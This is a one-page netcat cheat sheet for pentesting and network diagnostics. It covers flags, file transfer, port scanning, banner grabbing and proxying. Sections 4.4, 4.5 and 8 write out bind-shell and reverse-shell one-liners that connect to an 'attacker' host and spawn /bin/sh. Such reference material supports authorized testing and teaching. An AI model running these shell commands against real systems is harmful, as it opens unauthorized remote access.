Netcat (nc) — Professional Cheat Sheet

One-page reference for `netcat` / `nc` (the Swiss-Army knife of TCP/UDP). Quick commands, flags, practical examples for pentesting, diagnostics, and secure ad-hoc channels.

---

1) At-a-glance

- **Tool:** `netcat` (often `nc`) — simple TCP/UDP client & server. Variants: traditional `netcat`, `openbsd-netcat` (BSD flavor), `ncat` (Nmap), `socat` (more featureful), `netcat-traditional`.
- **Primary uses:** Banner grabbing, file transfer, port listening, bind/reverse shells, simple port scanning, proxying, debugging services.
- **Security note:** Powerful but primitive. Use `ssh`, `stunnel`, or `ncat --ssl` for secure channels.

---

2) Installation

```
# Debian/Ubuntu
sudo apt update && sudo apt install netcat-openbsd    # or netcat-traditional

# Arch
sudo pacman -S gnu-netcat

# macOS (Homebrew)
brew install netcat

# ncat (Nmap)
sudo apt install nmap  # provides ncat (supports SSL, proxy)
```

---

3) Common flags (OpenBSD `nc`)

- `-l` : listen mode (server)
- `-p <port>` : local port to use (some builds auto-detect)
- `-u` : UDP mode
- `-v` / `-vv` : verbose
- `-w <seconds>` : timeout for connects or final net reads
- `-n` : numeric-only (no DNS lookups)
- `-z` : port scan (zero-I/O mode, used with `-v` / `-n`)
- `-e <file>` : execute program after connection (available in traditional; disabled in many builds)
- `-c` : command to execute (ncat specific)

- `-k` : keep-open, continue listening after client disconnect (ncat/nc variants)
- `-C` : CRLF line-endings (Windows clients)
- `--ssl` : (ncat) enable SSL/TLS

Note: flags differ between `netcat` variants. Check `nc --help` or `man nc` for your binary.

---

4) Practical examples

4.1 Basic connect / listen

```
# Server: simple listener
nc -l -p 8080

# Client: connect
nc target.example.com 8080
```

4.2 File transfer

```
# Receiver (listen and save)
nc -l -p 9000 > received.bin

# Sender
nc target_ip 9000 < file.bin
```

4.3 Encrypted alternative (use ncat + SSL)

```
# Server (ncat): SSL server
ncat --ssl -l 4443 --keep-open > recv.tgz

# Client: SSL connect
ncat --ssl server 4443 < backup.tgz
```

4.4 Bind shell (listener executes shell) — use with caution

```
# Vulnerable/training target
nc -l -p 5555 -e /bin/bash         # traditional (many systems disable -e)

# Attacker connects
nc target 5555
```

4.5 Reverse shell (target connects back)

```
# Attacker: listen
nc -l -p 4444 -vv

# Target (connects back and spawn shell)
nc attacker_ip 4444 -e /bin/sh
```

4.6 Port scanning (quick)

```
# Scan common ports on host
nc -z -v -n target 20-1024
```

4.7 Banner grabbing

```
# Grab HTTP banner
echo -e "HEAD / HTTP/1.0\n\n" | nc target 80
```

4.8 Simple HTTP server (serve a file)

```
# Serve a single HTTP response
while true; do nc -l -p 8080 -q 1 < response.txt; done
```

4.9 UDP mode (datagram)

```
# UDP listener
nc -u -l -p 9999 > udp_recv

# UDP sender
nc -u target 9999 < udp_data
```

4.10 Proxying / forwarding (simple)

```
# Forward local port 8080 to remote:80 (using two netcat instances)
mkfifo /tmp/f; nc -l 8080 < /tmp/f | nc remote 80 > /tmp/f
```

---

5) Operational patterns & tips

- **Use `-w` to avoid indefinite hangs.** Example `-w 3` for 3-second connect timeout.

- **Prefer** `ncat --ssl` **or** `ssh` when confidentiality is required — `nc` transmits plaintext by default.
- `-k` **/** `--keep-open` for persistent listeners (ncat), useful for many-client services.
- `-z` **scan with** `-v -n` for quick port sweeps without payloads.
- `-e` **is dangerous and often disabled**; use `socat` or `ssh` for remote shell functionality in production.
- **Combine with** `tcpdump` **/** `wireshark` during debugging to inspect traffic.

---

6) Troubleshooting

- **Connection refused:** remote not listening, firewall blocking, wrong IP/port.
- **Hangs:** missing EOF — use `-q` (ncat) or close stdin after sending file.
- `-e` **not found:** your netcat build lacks `-e` for safety; use `socat` or `python -c` reverse shell instead.
- **UDP issues:** unreliable — packet loss or out-of-order is expected.

---

7) Security & OPSEC (PRO)

- Do **not** run bind shells on Internet-facing hosts without strict controls.
- Use ephemeral credentials and isolate listeners in lab networks or through VPNs.
- Audit system for unauthorized `nc` listeners — it's commonly used for backdoors.
- Avoid embedding plaintext secrets in scripts that call `nc`; use secure vaults.

---

8) One-line cheats (copy-paste)

```
# Save incoming to file
nc -l -p 4444 > out.bin
# Send file
nc host 4444 < in.bin
# Quick port scan
nc -z -v -n host 1-1024
# Banner grab HTTP
echo -e "HEAD / HTTP/1.0\n\n" | nc host 80
# Reverse shell (target)
nc attacker 4444 -e /bin/sh
# SSL transfer (ncat)
ncat --ssl -l 4443 > recv
ncat --ssl server 4443 < send
```

---

9) Alternatives & when to use them

- **ncat (Nmap):** Use when you need SSL/TLS, proxy support, or advanced features.
- **socat:** Use for flexible port forwarding, proxying, and complex stream handling.
- **ssh:** Use for authenticated shells and secure file transfer (scp/rsync over SSH).

---

10) Quick checklist before use

1. Confirm your `nc` variant and flags: `nc --version` / `man nc`.
2. Choose secure alternatives if sending secrets.
3. Restrict inbound access via firewall rules.
4. Monitor and log sessions; clean up listeners after use.

This cheat sheet is for professional pentesting and diagnostic use. Only use `netcat` *on systems/networks you own or are authorized to test.*